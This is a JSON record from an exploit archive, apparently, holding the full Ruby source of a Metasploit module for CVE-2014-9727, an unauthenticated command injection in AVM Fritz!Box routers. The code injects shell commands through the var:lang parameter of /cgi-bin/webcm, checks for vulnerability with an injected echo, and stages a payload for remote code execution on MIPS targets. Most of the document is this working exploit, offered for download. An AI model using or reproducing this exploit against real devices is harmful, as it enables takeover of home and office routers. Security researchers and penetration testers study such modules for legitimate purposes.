{"exploit":{"id":"MSF-linux--http--fritzbox_echo_exec","name":"Fritz!Box Webcm Unauthenticated Command Injection","description":"Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection. This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270, 7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE, 6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270","cves":["CVE-2014-9727"],"author":"Unknown, Fabian Braeunlein, Michael Messner","published":"2014-02-11","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/linux/http/fritzbox_echo_exec.rb","path":"modules/exploits/linux/http/fritzbox_echo_exec.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"fritzbox_echo_exec.rb","vulnerabilities":[{"id":"CVE-2014-9727","state":"PUBLISHED","title":null,"titleSource":null,"description":"AVM Fritz!Box allows remote attackers to execute arbitrary commands via shell metacharacters in the var:lang parameter to cgi-bin/webcm.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-9727","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-9727"},"updatedAt":"2024-09-17T02:51:53.595Z","retrievedAt":"2026-11-26T14:19:45.084Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--fritzbox_echo_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--fritzbox_echo_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--fritzbox_echo_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--fritzbox_echo_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Fritz!Box Webcm Unauthenticated Command Injection',\n        'Description' => %q{\n          Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection.\n          This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the\n          following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270,\n          7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE,\n          6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270\n        },\n        'Author' => [\n          'Unknown', # Vulnerability discovery\n          'Fabian Braeunlein <fabian[at]breaking.systems>', # Metasploit PoC with wget method\n          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2014-9727' ],\n          [ 'OSVDB', '103289' ],\n          [ 'BID', '65520' ],\n          [ 'URL', 'http://www.kapple.de/?p=75' ],                       # vulnerability details with PoC\n          [ 'URL', 'https://www.speckmarschall.de/hoere.htm' ],          # probably the first published details (now censored)\n          [ 'URL', 'http://pastebin.com/GnMKGmZ2' ],                     # published details uncensored from speckmarschall\n          [ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], # vendor site with a list of vulnerable devices\n          [ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] # writeup with PoC\n        ],\n        'DisclosureDate' => '2014-02-11',\n        'Privileged' => true,\n        'Payload' => {\n          'DisableNops' => true\n        },\n        'Targets' => [\n          [\n            'MIPS Little Endian',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_MIPSLE\n            }\n          ],\n          [\n            'MIPS Big Endian',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_MIPSBE\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')\n  end\n\n  def check\n    begin\n      clue = Rex::Text::rand_text_alpha(rand(5) + 5)\n\n      res = send_request_cgi({\n        'uri' => '/cgi-bin/webcm',\n        'method' => 'GET',\n        'vars_get' => {\n          \"var:lang\" => \"&echo -e \\\"\\\\n\\\\n#{clue}\\\"\"\n        }\n      })\n      if res && res.body =~ /#{clue}/\n        return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n      end\n    rescue ::Rex::ConnectionError\n      return Exploit::CheckCode::Unknown('Could not determine the target status')\n    end\n\n    Exploit::CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def execute_command(cmd, opts)\n    begin\n      res = send_request_cgi({\n        'uri' => '/cgi-bin/webcm',\n        'method' => 'GET',\n        'vars_get' => {\n          \"var:lang\" => \"&#{cmd}\",\n        }\n      })\n      return res\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Failed to connect to the web server\")\n    end\n  end\n\n  def exploit\n    print_status(\"Trying to access the vulnerable URL...\")\n\n    unless check == Exploit::CheckCode::Vulnerable\n      fail_with(Failure::Unknown, \"#{peer} - Failed to access the vulnerable URL\")\n    end\n\n    print_status(\"Exploiting...\")\n    execute_cmdstager(\n      flavor: :echo,\n      linemax: 92\n    )\n  end\nend\n","sha256":"c4b9d2473ceb5542cb6baef3723935e563cb6bcc999efa3b44212822bb474058","bytes":4010,"fetchedAt":"2026-11-26T17:07:56.042Z","encoding":"utf-8 (display only; download retains original bytes)"}